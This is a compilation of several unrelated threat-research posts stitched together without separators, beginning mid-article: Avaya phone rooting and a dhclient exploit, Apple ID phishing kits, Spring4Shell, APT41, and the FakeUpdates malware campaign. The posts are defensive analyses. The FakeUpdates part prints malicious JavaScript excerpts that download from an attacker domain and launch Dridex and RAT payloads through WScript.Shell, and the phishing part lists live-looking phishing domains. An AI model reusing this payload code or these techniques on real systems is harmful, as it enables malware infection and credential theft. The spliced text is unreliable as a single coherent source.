By buying a $15 cable that converts UART to USB and soldering wires onto the test pads, we can see debug information being printed on screen when the phone boots up, but soon the flow of debug information dries up.
This is a curious behavior—why stop the debug messages?—so we need to investigate more.
By using a disassembler to convert raw bytes into computer instructions, we can peek into the code of the bootloader recovered earlier and find out that during the boot process the phone fetches settings from external memory to decide whether the full set of debug features should be enabled on the serial console.
The external memory is called an EEPROM and is easily identifiable on the board, first by its shape and then by the label printed on it.
Labels on electronic components are used to identify them and to retrieve their associated datasheet, the technical documentation describing how to use the chip from an electrical engineering standpoint.
Soldering wires directly to the chip under a microscope, and connecting it to a programmer (a $30 gizmo called a buspirate ), allows us to change the configuration stored on it and enable the debug capabilities of the phone.
EEPROM ready to be re-programmed Rebooting the phones gives us much more debug information and, eventually, we are greeted with the root shell we were after.
Confirmation we have a root shell.
Unrelated debug messages are being printed while we are invoking the “whoami” command Alternative Roads The approach described above is fairly lengthy and is only interesting to security researchers in a similar situation.
A more generic technique would be to directly modify the filesystem by altering the flash storage (a NAND Flash on the back of the circuit board) as we did for previous research , and then automatically start an SSH server or a remote shell.
Another common technique is to tamper with the NAND flash while the filesystem is loading in memory, to get the bootloader in an exception state that will then allow the researcher to modify the boot arguments of the Linux kernel.
Otherwise, to get remote shell access, using an older firmware with known RCE vulnerabilities is probably the easiest method to consider; it can be a good starting point for security researchers and is not threatening to regular users as they should already have the most up-to-date software.
All things considered, these methods are not a risk to end-users and are more of a stepping stone for security researchers to conduct their research.
In Search of Vulnerabilities After gaining access to a root shell and the ability to reverse engineer the files on the phone, we are faced with the open-ended task to look for potentially vulnerable software.
As the phone runs Linux, the usual command line utilities people use for administering Linux systems are readily available to us.
It is natural to look at the list of processes running, find the ones having network connection and so forth.
While poking around, it becomes clear that one of the utilities, dhclient, is of great interest.
It is already running on the system and handles network configuration (the so-called DHCP requests to configure the phone’s IP address).
If we invoke it in the command line, the following is printed: Showing a detailed help screen describing its expected arguments is normal behavior, but a 2004-2007 copyright is a big red flag.
A quick search confirms that the 4.0.0 version is more than 10 years old and, even worse, an exploit targeting it is publicly available.
Dhclient code is open source, so finding the differences between two successive version is straightforward.
Studying the exploit code and how the bug was patched helps us to narrow down which part of the code could be vulnerable.
By once again using a disassembler, we confirm the phone’s version of dhclient is indeed vulnerable to the bug reported in 2009.
Converting the original exploit to make it work on the phone requires a day or two of work, while building the proof of concept demonstrated in the above video is a matter of mere hours.
Indeed, all the tools to stream audio from the phone to a separate machine are already present on the system, which greatly reduces the effort to create this demo.
We did not push the exploitation further than the Proof of Concept shown in the above video, but we can assume that at this point, building a weaponized version able to threaten private networks is more of a software engineering task and a skilled attacker might only need a few weeks, if not days, to put one together.
Remediation Upon finding the flaw, we immediately notified Avaya with detailed instructions on how to reproduce the bug and suggested fixes.
They were able to fix, test and release a patched firmware image in approximately two months.
At the time of publication, the fix will have been out for more than 30 days, leaving IT administrators ample time to deploy the new image.
In a large enterprise setting, it is pretty common to first have a testing phase where a new image is being deployed to selected devices to ensure no conflict arises from the deployment.
This explains why the timeline from the patch release to deployment to the whole fleet may take longer than what is typical in consumer grade software.
Conclusion IoT and embedded devices tend to blend into our environment, in some cases not warranting a second thought about the security and privacy risks they pose.
In this case, with a minimal hardware investment and free software, we were able to uncover a critical bug that remained out-of-sight for more than a decade.
Avaya was prompt to fix the problem and the threat this bug poses is now mitigated, but it is important to realize this is not an isolated case and many devices across multiple industries still run legacy code more than a decade old.
From a system administration perspective, it is important to consider all these networked devices as tiny black-box computers running unmanaged code which should be isolated and monitored accordingly.
The McAfee Network Security Platform (NSP) detects this attack as “DHCP: Subnet Mask Option Length Overflow” (signature ID:
0x42601100), ensuring our customers remain protected.
Finally, for the technology enthusiasts reading this, the barrier of entry to hardware hacking has never been this low, with plenty of online resources and cheap hardware to get started.
Looking for this type of vulnerability is a great entry point to information security and will help make the embedded world a safer place.
At FireEye Labs we have an automated system designed to proactively detect newly registered malicious domains.
This system observed some phishing domains registered in the first quarter of 2016 that were designed to appear as legitimate Apple domains.
These phony Apple domains were involved in phishing attacks against Apple iCloud users in China and UK.
In the past we have observed several phishing domains targeting Apple, Google and Yahoo users; however, these campaigns are unique as they are serving the same malicious phishing content from different domains to target Apple users.
Since January 2016 we have observed several phishing campaigns targeting the Apple IDs and passwords of Apple users.
Apple provides all of its customers with an Apple ID, a centralized personal account that gives access to iCloud and other Apple features and services such as the iTunes Store and App Store.
Users will provide their Apple ID to sign in to iCloud[.
]com, and use the same Apple ID to set up iCloud on their iPhone, iPad, iPod Touch, Mac, or Windows computer.
iCloud ensures that users always have the latest versions of their important information –  including documents, photos, notes, and contacts – on all of their Apple devices.
iCloud provides an easy interface to share photos, calendars, locations and more with friends and family, and even helps users find their device if they lose it.
Perhaps most importantly, its iCloud Keychain feature allows user to store passwords and credit card information and have it entered automatically on their iOS devices and Mac computers.
Anyone with access to an Apple ID, password and some additional information, such as date of birth and device screen lock code, can completely take over the device and use the credit card information to impersonate the user and make purchases via the Apple Store.
This blog highlights some highly organized and sophisticated phishing attack campaigns we observed targeting Apple customers.
Campaign 1: Zycode phishing campaign targeting Apple's Chinese Customers
This phishing kit is named “zycode” after the value of a password variable embedded in the JavaScript code which all these domains serve in their HTTP responses.
The following is a list of phishing domains targeting Apple users detected by our automated system in March 2016.
None of these domains are registered by Apple, nor are they pointing to Apple infrastructure: The list shows that the attackers are attempting to mimic websites related to iTunes, iCloud and Apple ID, which are designed to lure and trick victims into submitting their Apple IDs.
Most of these domains appeared as an Apple login interface for Apple ID, iTunes and iCloud.
The domains were serving highly sophisticated, obfuscated and suspicious JavaScripts, which was creating the phishing HTML content on the web page.
This technique is effective against anti-phishing systems that rely on the HTML content and analyze the forms.
From March 7 to March 12, the following domains used for Apple ID phishing were observed, all of which were registered by a few entities in China using a qq[.
]com email address: iCloud-Apple-apleid[.
]com, Appleid-xyw[.
]com, itnues-appid[.
]com, AppleidApplecwy[.
]com, appie-itnues[.
]com, AppleidApplecwy[.
]com, Appleid-xyw[.
]com, Appleid-yun-iCloud[.
]com, iCloud-Apple-apleid[.
]com, iphone-ioslock[.
]com, iphone-appdw[.
]com.
From March 13 to March 20, we observed these new domains using the exact same phishing content, and having similar registrants: iCloud-Appleid-yun[.
]win, iClouddd[.
]top, iCloudee[.
]top, iCloud-findip[.
]com, iCloudhh[.
]top, ioslock-Apple[.
]com, ioslock-iphone[.
]com, iphone-iosl0ck[.
]com, lcloudmid[.
]com
On March 30, we observed the following newly registered domains serving this same content: iCloud-mail-Apple[.
]com, Apple-web-icluod[.
]com, Apple-web-icluodid[.
]com, AppleidAppleiph[.
]com , icluod-web-ios[.
]com and ios-web-Apple[.
]com Phishing Content and Analysis Phishing content is usually available in the form of simple HTML, referring to images that mimic a target brand and a form to collect user credentials.
Phishing detection systems look for special features within the HTML content of the page, which are used to develop detection heuristics.
This campaign is unique as a simple GET request to any of these domains results in an encoded JavaScript content in the response, which does not reveal its true intention unless executed inside a web browser or a JavaScript emulator.
For example, the following is a brief portion of the encoded string taken from the code.
This encoded string strHTML goes through a complex sequence of around 23 decrypting/decoding functions that include number system conversions, pseudo-random pattern modifiers followed by XOR decoding using a fixed key or password “zycode” for the actual HTML phishing content to be finally created (refer to Figure 15 and Figure 16 in Appendix 1 for complete code).
Phishing detection systems that rely solely on the HTML in the response section will completely fail to detect the code generated using this technique.
Once loaded into the web browser, this obfuscated JavaScript creates an iCloud phishing page.
This page is shown in Figure 1.
Figure 1:
The page created by the obfuscated JavaScript as displayed in the browse r The page is created by the de-obfuscated content seen in Figure 2.
Figure 2: Deobfuscated conten t Burp Suite is a tool to secure and penetrate web applications: https://portswigger[.
]net/burp/.
The Burp session of a user supplying login and password to the HTML form is shown in Figure 3.
Here we can see 5 variables (u,p,x,y and cc) and a cookie being sent via HTTP POST method to the page save.php.
Figure 3: Burp sessio n
After the user enters a login and password, they are redirected and presented with the following Chinese Apple page, seen in Figure 4: http://iClouddd[.
]top/ask2.asp?MNWTK=25077126670584.html Figure 4:
Phishing pag e On this page, all the links correctly point towards Apple[.
]com, as can be seen in the HTML:
* Apple <http://www.
Apple[.
]com/
cn/> *
<http://www.
Apple[.
]com/cn/shop/goto/bag
>
* Apple <http://www.
Apple[.
]com/
cn/
>
* Mac <http://www.
Apple[.
]com/cn/mac/> * iPad <http://www.
Apple[.
]com/cn/ipad/
>
* iPhone <http://www.
Apple[.
]com/
cn/iphone/>
* Watch <http://www.
Apple[.
]com/
cn/watch/>
* Music <http://www.
Apple[.
]com/cn/music/> * <http://www.
Apple[.
]com/
cn/
support/> * Apple[.
]com <
http://www.
Apple[.
]com/cn/search> * <http://www.
Apple[.
]com/cn/shop/goto/bag>
Apple ID <https://Appleid.
Apple[.
]com/
account/home> * <https://Appleid.
Apple[.
]com/zh_CN/signin>
* Apple ID <https://Appleid.
Apple[.
]com/zh_CN/account> * <https://Appleid.
Apple[.
]com/
zh_CN/#!faq>
When translated using Google Translate, the Chinese text written in the middle of the page (Figure 4) reads: “Verify your birth date or your device screen lock to continue”.
Next the user was presented with an ask3.asp webpage shown in Figure 5.
Figure 5: Phishing form asking for more details from victim s Translation: “Please verify your security question” As shown in Figure 5, the page asks the user to answer three security questions, followed by redirection to an ok.asp page (Figure 6) on the same domain: Figure 6: Successful submission phishing pag e
The final link points back to Apple[.
]com.
The complete trail using Burp suite tool is shown in Figure 7.
Figure 7: Burp ses sion
We noticed that if the user tried to supply the same Apple ID twice, they got redirected to the page save[.
]asp shown in Figure 8.
Clicking OK on the popup redirected the user back to the main page.
Figure 8: Error prompt generated by phishing page Domain Registration Information We found that the registrant names for all of these phony Apple domains were these Chinese names: “ Yu Hu” and “Wu Yan”, “Yu Fei” and “Yu Zhe”.
Moreover, all these domains were registered with qq[.
].com email addresses.
Details are available in Table 1 below.
Table 1: Domain registration information Looking closer at our malicious domain detection system, we observed that the system had been seeing similar domains at an increasing frequency.
Analyzing the registration information, we found some interesting patterns.
Since January 2016 to the time of writing, the system marked around 240 unique domains that have something to do with Apple ID, iCloud or iTunes.
From these 240 domains , we identified 154 unique email registrants with 64 unique emails pointing to qq[.
]com, 36 unique Gmail email accounts, and 18 unique email addresses each belonging to 163[.
]com and 126[.
]com, and a couple more registered with 139[.
]com.
This information is vital, as it could be used in following different ways: The domain list provided here could be used by Apple customers as a blacklist; they can avoid browsing to such domains and providing credentials to any of the listed domains, whether they receive them via SMS, email or via any instant messaging service.
The Apple credential phishing detection teams could use this information, as it highlights that all domains registered with these email addresses, registrant names and addresses, as well as their combinations, are potentially malicious and serving phishing content.
This information could be used to block all future domains registered by the same entities.
Patterns emerging from this data reveal that for such campaigns, attackers prefer to use email addresses from Chinese services such as qq.com, 126.com and 138.com.
It has also been observed that instead of names, the attackers have used numbers (such as 545454@qq[.
]com and 891495200@qq[.
]com) in their email addresses.
Geo-location: As seen in Figure 9, we observed all of these domains pointing to 13 unique IP addresses distributed across the U.S. and China, suggesting that these attacks were perhaps targeting users from these regions .
Figure 9: Geo-location plot of the IPs for this camp aign Campaign 2: British Apples Gone
Bad
Our email attacks research team unearthed another targeted phishing campaign against Apple users in the UK.
Table 2 is a list of 86 Apple phishing domains that we observed since January 2016.
Figure 9: Geo-location plot of the IPs for this campaign Phishing Content and Analysis All of these domains have been serving the same phishing content.
A simple HTTP GET (via the wget utility) to the domain’s main page reveals HTML code containing a meta-refresh redirection to the signin.php page.
A wget session is shown here: $ wget http://manageAppleid84913[.
]net --2016-04-05 16:47:44--  http://manageAppleid84913[.
]net/ Resolving manageAppleid84913[.
]net (manageAppleid84913[.
]net)...
109.123.121.10 Connecting to manageAppleid84913[.
]net (manageAppleid84913[.]net)|109.123.121.10|:80...
connected.
HTTP request sent, awaiting response...
200 OK Length: 203 [text/html]
Saving to: ‘index.html.1’ 100%[============================================================================================================>] 203         --.-K/s   in 0s 2016-04-05 16:47:44 (37.8 MB/s) - ‘index.html.1’ saved [203/203] Content of the page is displayed here: <meta http-equiv=\"refresh\" content=\"0;URL=signin.php?c=
ODcyNTA5MTJGUjU0OTYwNTQ5NDc3MTk3NTAxODE2ODYzNDgxODg2NzU3NA==&log=1&sFR
=ODIxNjMzMzMxODA0NTE4MTMxNTQ5c2RmZ3M1ZjRzNjQyMDQzNjgzODcyOTU2MjU5&email=\" />
This code redirects the browser to this URL/page: http://manageAppleid84913[.
]net/signin.php?c=OTYwNzUyNjlGUjU0OTYwNTQ5NDY0MDgxMjQ4OTQ5OTk0MTQ3MDc1NjYyOA==&log=1&sFR=
ODc0MjQyNTEyNzMyODE1NTMxNTQ5c2RmZ3M1ZjRzNjQzMDU5MjUzMzg4NDMzNzE1&email=
# This loads a highly obfuscated JavaScript in the web browser that, on execution, generates the phishing HTML code at runtime to evade signature-based phishing detection systems.
This is seen in Figure 17 in Appendix 2, with a deobfuscated version of the HTML code being shown in Figure 18.
This code renders in the browser to create the fake Apple ID phishing webpage seen in Figure 10, which resembles the authentic Apple page https://Appleid.
Apple[.
]com/ .
Figure 10:
Screenshot of the phishing page as seen by the victims in the bro wser On submitting a fake username and password, the form gets submitted to signin-box-disabled.php and the JavaScript and jQuery creates the page seen in Figure 11, informing the user that the Apple ID provided has been locked and the user must unlock it: Figure 11:
Phishing page suggesting victims to unlock their Apple IDs , which requests personal information such as name, date of birth, telephone numbers, addresses, credit card details and security questions, as shown in Figure 12.
While filling out this form, we observed that the country part of the address drop-down menu only allowed address options from England, Scotland and Wales, suggesting that this attack is targeting these regions onlyClicking on unlock leads the user to the page profile.php .
Figure 12:
User information requested by phishing page On submitting false information on this form, the user would get a page asking to wait while the entered information is confirmed or verified.
After a couple of seconds of processing, the page congratulates the user that their Apple ID was successfully unlocked (Figure 13).
As seen in Figure 14, the user is then redirected to the authentic Apple page at https://Appleid.
Apple[.
]com/ .
Figure 13:
Account verification page displayed by the phishing site Figure 14:
After a successful attack, victims are redirected to the real apple login page Domain Registration Information It was observed that all of these domains used the whois privacy protection feature offered by many registrars.
This feature enables the registrants to hide their personal and contact information which otherwise is available via the whois service.
These domains were registered with the email “ contact@privacyprotect[.
]org ” Geo-location All these domains (Table 2) were pointing to IPs in the UK, suggesting that they were hosted in the UK.
Conclusion Cybercriminals are targeting Apple users by launching phishing campaigns focused on stealing Apple IDs, as well as personal, financial and other information.
We witnessed a high frequency of these targeted phishing attacks in the first quarter of 2016.
A few phishing campaigns were particularly interesting because of their sophisticated evasion techniques (using code encoding and obfuscation), geographical targets, and because the same content was being served across multiple domains, which indicates the same phishing kits were being used.
One campaign we detected in March used sophisticated encoding/encryption techniques to evade phishing detection systems and provided a realistic looking Apple/iCloud interface.
The majority of these domains were registered by individuals having email addresses pointing to Chinese services – registrant email, contact and address information points to China.
Additionally, the domains were serving phony Apple webpages in Chinese, indicating that they were targeting Chinese users.
The second campaign we detected was launched against Apple users in the UK.
This campaign used sophisticated evasion techniques (such as code obfuscation) to evade phishing detection systems and, whenever successful, was able to collect Apple IDs and personal and credit card information from its victims.
Organizations could use the information provided in this blog to protect their users from such sophisticated phishing campaigns by writing signatures for their phishing detection and prevention systems.
Credits and Acknowledgements Special thanks to Yichong Lin, Jimmy Su, Mary Grace and Gaurav Dalal for their support.
Appendix 1 Figure 15: Obfuscated JavaScript served by the phishing site.
In Green we have highlighted functions with: number system converters, pseudo-random pattern decoders, bit level binary operas Figure 16: Obfuscated JS served by the phishing site.
In Green we have highlighted functions with: number system converters, pseudo-random pattern decoders, bit level binary operaters.
While in Red we have: XOR deco ders.
Appendix 2 Figure 17: Obfuscated JavaScript content served by the site Figure 18:
Deobfuscated HTML content For more information on phishing, please visit:
https://support.apple.com/HT203126 http://www.apple.com/legal/more-resources/phishing/ https://support.apple.com/HT204759
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Researchers have discovered a critical vulnerability CVE-2022-22965 , in Spring, an open source framework for the Java platform.
Unfortunately, details about the vulnerability were leaked to the public before the official announcement was published and the relevant patches were released.
The vulnerability immediately attracted attention of information security specialists, as it potentially poses a serious threat to many web applications.
In resemblance to the overhyped Log4Shell , the new vulnerability was named Spring4Shell.
The creators of the VMware Spring framework have already released patches to fix vulnerable applications, so we recommend that all companies using Spring Framework versions 5.3 and 5.2 immediately upgrade to versions 5.3.18 or 5.2.20.
What is Spring4Shell
and why this vulnerability is so dangerous?
The vulnerability belongs to the RCE class, that is, it allows an attacker to remotely execute malicious code.
At the moment, according to the CVSS v3.0 calculator , its severity is 9.8 out of 10.
The vulnerability affects Spring MVC and Spring WebFlux applications running under Java Development Kit version 9 or later.
Researchers reported the discovered vulnerability to VMware on Tuesday night, but already on Wednesday proof of concept for the vulnerability was published on GitHub.
The PoC was quickly removed, but not until it was noticed by security experts (some of whom confirmed the danger of the vulnerability).
And it’s very unlikely that such a potent exploit has gone unnoticed by cybercriminals.
The Spring framework is quite popular among Java developers, which means that potentially many applications could be vulnerable.
According to a post by Bleeping Computer , Java applications vulnerable to Spring4Shell could become a cause of compromise for a huge number of servers.
Moreover, according to the same post, the vulnerability is already being actively exploited in the wild.
Conditions for exploiting a Spring4Shell vulnerability The only Spring4Shell exploitation method known at the time of publication requires a specific confluence of circumstances.
For the exploit to be successful, the following components should be utilized on the attacked side: Java Development Kit version 9 or later; Apache Tomcat as a servlet container; WAR (Web Application Resource) file format instead of default JAR; Dependencies on spring-webmvc or spring-webflux; Spring framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, or older.
However, it’s quite possible that there are more yet unknown options of exploitations and the very same vulnerability can be exploited in some other way.
How to protect yourself from Spring4Shell
The main advice for anyone who uses the Spring framework is to upgrade to secure versions 5.3.18 or 5.2.20.
The Apache Software Foundation has also released patched versions of Apache Tomcat 10.0.20, 9.0.62, and 8.5.78, in which the attack vector is closed on the Tomcat side.
The Spring developers have also released patched versions of the Spring Boot 2.5.12 and 2.6.6 extensions that depend on the patched version of Spring Framework 5.3.18.
If for some reason you cannot update the above software, then you should use one of the workarounds published on the official Spring website.
Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations.
APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain.
Explicit financially-motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward.
The full published report covers historical and ongoing activity attributed to APT41, the evolution of the group’s tactics, techniques, and procedures (TTPs), information on the individual actors, an overview of their malware toolset, and how these identifiers overlap with other known Chinese espionage operators.
APT41 partially coincides with public reporting on groups including BARIUM ( Microsoft ) and Winnti ( Kaspersky , ESET , Clearsky ).
Who Does APT41 Target?
Like other Chinese espionage operators, APT41 espionage targeting has generally aligned with China's Five-Year economic development plans .
The group has established and maintained strategic access to organizations in the healthcare, high-tech, and telecommunications sectors.
APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance.
For example, the group has repeatedly targeted call record information at telecom companies.
In another instance, APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there, suggesting the group was tasked to reconnoiter the facility for security reasons.
The group’s financially motivated activity has primarily focused on the video game industry, where APT41 has manipulated virtual currencies and even attempted to deploy ransomware.
The group is adept at moving laterally within targeted networks, including pivoting between Windows and Linux systems, until it can access game production environments.
From there, the group steals source code as well as digital certificates which are then used to sign malware.
More importantly, APT41 is known to use its access to production environments to inject malicious code into legitimate files which are later distributed to victim organizations.
These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns.
Interestingly, despite the significant effort required to execute supply chain compromises and the large number of affected organizations, APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers.
These multi-stage operations restrict malware delivery only to intended victims and significantly obfuscate the intended targets.
In contrast, a typical spear-phishing campaign’s desired targeting can be discerned based on recipients' email addresses.
A breakdown of industries directly targeted by APT41 over time can be found in Figure 1.
Figure 1: Timeline of industries directly targeted by APT41 Probable Chinese Espionage Contractors Two identified personas using the monikers “Zhang Xuguang” and “Wolfzhi” linked to APT41 operations have also been identified in Chinese-language forums.
These individuals advertised their skills and services and indicated that they could be hired.
Zhang listed his online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming targets and suggesting that he is moonlighting.
Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs.
Attribution to these individuals is backed by identified persona information, their previous work and apparent expertise in programming skills, and their targeting of Chinese market-specific online games.
The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations.
Figure 2: Operational activity for gaming versus non-gaming-related targeting based on observed operations since 2012 The Right Tool for the Job APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions, including publicly available utilities, malware shared with other Chinese espionage operations, and tools unique to the group.
The group often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims.
Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware.
For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits.
APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems.
The use of bootkits in particular adds an extra layer of stealth because the code is executed prior to the operating system initializing.
The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets.
Fast and Relentless APT41 quickly identifies and compromises intermediary systems that provide access to otherwise segmented parts of an organization’s network.
In one case, the group compromised hundreds of systems across multiple network segments and several geographic regions in as little as two weeks.
The group is also highly agile and persistent, responding quickly to changes in victim environments and incident responder activity.
Hours after a victimized organization made changes to thwart APT41, for example, the group compiled a new version of a backdoor using a freshly registered command-and-control domain and compromised several systems across multiple geographic regions.
In a different instance, APT41 sent spear-phishing emails to multiple HR employees three days after an intrusion had been remediated and systems were brought back online.
Within hours of a user opening a malicious attachment sent by APT41, the group had regained a foothold within the organization's servers across multiple geographic regions.
Looking Ahead APT41 is a creative, skilled, and well-resourced adversary, as highlighted by the operation’s distinct use of supply chain compromises to target select individuals, consistent signing of malware using compromised digital certificates, and deployment of bootkits (which is rare among Chinese APT groups).
Like other Chinese espionage operators, APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015.
This shift, however, has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons.
The group's capabilities and targeting have both broadened over time, signaling the potential for additional supply chain compromises affecting a variety of victims in additional verticals.
APT41's links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them.
It is also possible that APT41 has simply evaded scrutiny from Chinese authorities.
Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41.
Read the report today to learn more .
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Within the past several months, FireEye has observed financially-motivated threat actors employ tactics that focus on disrupting business processes by deploying ransomware in mass throughout a victim’s environment.
Understanding that normal business processes are critical to organizational success, these ransomware campaigns have been accompanied with multi-million dollar ransom amounts.
In this post, we’ll provide a technical examination of one recent campaign that stems back to a technique that we initially reported on in April 2018 .
Between May and September 2019, FireEye responded to multiple incidents involving a financially-motivated threat actor who leveraged compromised web infrastructure to establish an initial foothold in victim environments.
This activity bared consistencies with a fake browser update campaign first identified in April 2018 – now tracked by FireEye as FakeUpdates .
In this newer campaign, the threat actors leveraged victim systems to deploy malware such as Dridex or NetSupport , and multiple post-exploitation frameworks.
The threat actors’ ultimate goal in some cases was to ransom systems in mass with BitPaymer or DoppelPaymer ransomware (see Figure 1).
Figure 1: Recent FakeUpdates infection chain Due to campaign proliferation, we have responded to this activity at both Mandiant Managed Defense customers and incident response investigations performed by Mandiant.
Through Managed Defense network and host monitoring as well as Mandiant’s incident response findings, we observed the routes the threat actor took, the extent of the breaches, and exposure of their various toolkits.
Knock, Knock: FakeUpdates are Back!
In April 2018, FireEye identified a campaign that used compromised websites to deliver heavily obfuscated Trojan droppers masquerading as Chrome, Internet Explorer, Opera, and/or Firefox browser updates.
The compromised sites contained code injected directly into the HTML or in JavaScript components rendered by the pages which had been injected.
These sites were accessed by victim users either via HTTP redirects or watering-hole techniques utilized by the attackers.
Since our April 2018 blog post , this campaign has been refined to include new techniques and the use of post-exploitation toolkits.
Recent investigations have shown threat actor activity that included internal reconnaissance, credential harvesting, privilege escalation, lateral movement, and ransomware deployment in enterprise networks.
FireEye has identified that a large number of the compromised sites serving up the first stage of FakeUpdates have been older, vulnerable Content Management System (CMS) applications.
You Are Using an Older Version…of our
Malware
The FakeUpdates campaign begins with a rather intricate sequence of browser validation, performed before the final payload is downloaded.
Injected code on the initial compromised page will make the user’s browser transparently navigate to a malicious website using hard-coded parameters.
After victim browser information is gleaned, additional redirects are performed and the user is prompted to download a fake browser update.
FireEye has observed that the browser validation sequence may have additional protections to evade sandbox detections and post-incident triage attempts on the compromise site(s).
Figure 2: Example of FakeUpdate landing page after HTTP redirects The redirect process used numerous subdomains, with a limited number of IP addresses.
The malicious subdomains are often changed in different parts of the initial redirects and browser validation stages.
After clicking the ‘Update’ button, we observed the downloading of one of three types of files: Heavily-obfuscated HTML applications (.hta file extensions) JavaScript files (.js file extensions) ZIP-compressed JavaScript files (.zip extensions)
Figure 3 provides a snippet of JavaScript that provides the initial download functionality.
var domain = '//gnf6.ruscacademy[.
]in/'; var statisticsRequest = 'wordpress/news.php?b=612626&m=ad2219689502f09c225b3ca0bfd8e333&y=206'; var statTypeParamName = '
st'; … var filename = 'download.hta'; var browser = '
Chrome'; var special = '1'; var filePlain = window.atob(file64); var a = document.getElementById('buttonDownload'); Figure 3: Excerpts of JavaScript code identified from the FakeUpdates landing pages When the user opens the initial FakeUpdates downloader, the Windows Scripting Host ( wscript.exe) is executed and the following actions are performed: A script is executed in memory and used to fingerprint the affected system.
A subsequent backdoor or banking trojan is downloaded if the system is successfully fingerprinted.
A script is executed in memory which: Downloads and launches a third party screenshot utility.
Sends the captured screenshots to an attacker.
The payload delivered in step 2 is subsequently executed by the script process.
The backdoor and banking-trojan payloads described above have been identified as Dridex, NetSupport Manager RAT, AZOrult, and Chthonic malware.
The strategy behind the selective payload delivery is unclear; however, the most prevalent malware delivered during this phase of the infection chain were variants of the Dridex backdoor.
FakeUpdates:
More like FakeHTTP After the end user executes the FakeUpdates download, the victim system will send a custom HTTP POST request to a hard-coded Command and Control (C2) server.
The POST request, depicted in Figure 4, showed that the threat actors used a custom HTTP request for initial callback.
The Age HTTP header, for example, was set to a string of 16 seemingly-random lowercase hexadecimal characters.
Figure 4:
Initial HTTP communication after successful execution of the FakeUpdates dropper The HTTP Age header typically represents the time in seconds since an object has been cached by a proxy.
In this case, via analysis of the obfuscated code on disk, FireEye identified that the Age header correlates to a scripted “auth header” parameter; likely used by the C2 server to validate the request.
The first HTTP POST request also contains an XOR-encoded HTTP payload variable “ a=” .
The C2 server responds to the initial HTTP request with encoded JavaScript.
When the code is decoded and subsequently executed, system and user information is collected using wscript.exe.
The information collected from the victim system included: The malicious script that initialized the callback System hostname Current user account Active Directory domain Hardware details, such as manufacturer Anti-virus software details Running processes This activity is nearly identical to the steps observed in our April 2018 post, indicating only minor changes in data collection during this stage.
For example, in the earlier iteration of this campaign, we did not observe the collection of the script responsible for the C2 communication.
Following the system information gathering, the data is subsequently XOR-encoded and sent via another custom HTTP POST request request to the same C2 server, with the data included in the parameter “b=” .
Figure 5 provides a snippet of sample of the second HTTP request.
Figure 5: Second HTTP POST request after successful system information gathering Figure 6 provides a copy of the decoded content, showing the various data points the malware transmitted back to the C2 server.
0=500 1=C:\\Users\\User\\AppData\\Local\\Temp\\Chrome.js 2=
AMD64 3=SYSTEM1 4=
User 5=4 6=
Windows_NT 7=DOMAIN 8=HP 9=
HP EliteDesk 10=BIOS_VERSION 11=
Windows Defender|Vendor Anti-Virus 12=
Vendor Anti-Virus|Windows Defender| 13=00:00:00:00:00:00 14=
Enhanced (101- or 102-key) 15=USB Input Device 16=1024x768 17=
System Idle Process|System|smss.exe|csrss.exe|wininit.exe|csrss.exe| winlogon.exe|services.exe|lsass.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe|svchost.exe| svchost.exe|spoolsv.exe|svchost.exe|svchost.exe|HPLaserJetService.exe|conhost.exe… Figure 6: Decoded system information gathered by the FakeUpdates malware
After receiving the system information, the C2 server responds with an encoded payload delivered via chunked transfer-encoding to the infected system.
This technique evades conventional IDS/IPS appliances, allowing for the second-stage payload to successfully download.
During our investigations and FireEye Intelligence’s monitoring, we recovered encoded payloads that delivered one of the following: Dridex (Figure 7) NetSupport Manage Remote Access Tools (RATs) (Figure 8) Chthonic or AZORult (Figure 9) function runFile() { var lastException = ''; try { var wsh = new ActiveXObject(\"WScript.
Shell\"); wsh.
Run('cmd /C rename \"' + _tempFilePathSave + '\" \"' + execFileName + '\"'); WScript.
Sleep(3 * 1000); runFileResult = wsh.
Run('\"' + _tempFilePathExec + '\"'); lastException = ''; } catch (error) { lastException = error.number; runFileExeption += 'error number:' + error.number + ' message:' + error.message; } } Figure 7:
Code excerpt observed in FakeUpdates used to launch Dridex payloads function runFile() { var lastException = ''; try { var wsh = new ActiveXObject(\"WScript.
Shell\"); runFileResult = wsh.
Run('\"' + _tempFilePathExec + '\" /verysilent'); lastException = ''; } catch (error) { lastException = error.number; runFileExeption += 'error number:' + error.number + ' message:' + error.message; } } Figure 8:
Code excerpt observed in FakeUpdates used to launch NetSupport payloads function runFile() { var lastException = ''; try { var wsh = new ActiveXObject(\"WScript.
Shell\"); runFileResult = wsh.
Run('\"' + _tempFilePathExec + '\"'); lastException = ''; } catch (error) { lastException = error.number; runFileExeption += 'error number:' + error.number + ' message:' + error.message; } } Figure 9: Code excerpt observed in FakeUpdates used to launch Chthonic and AZORult payloads During this process, the victim system downloads and executes nircmdc.exe, a utility specifically used during the infection process to save two system screenshots.
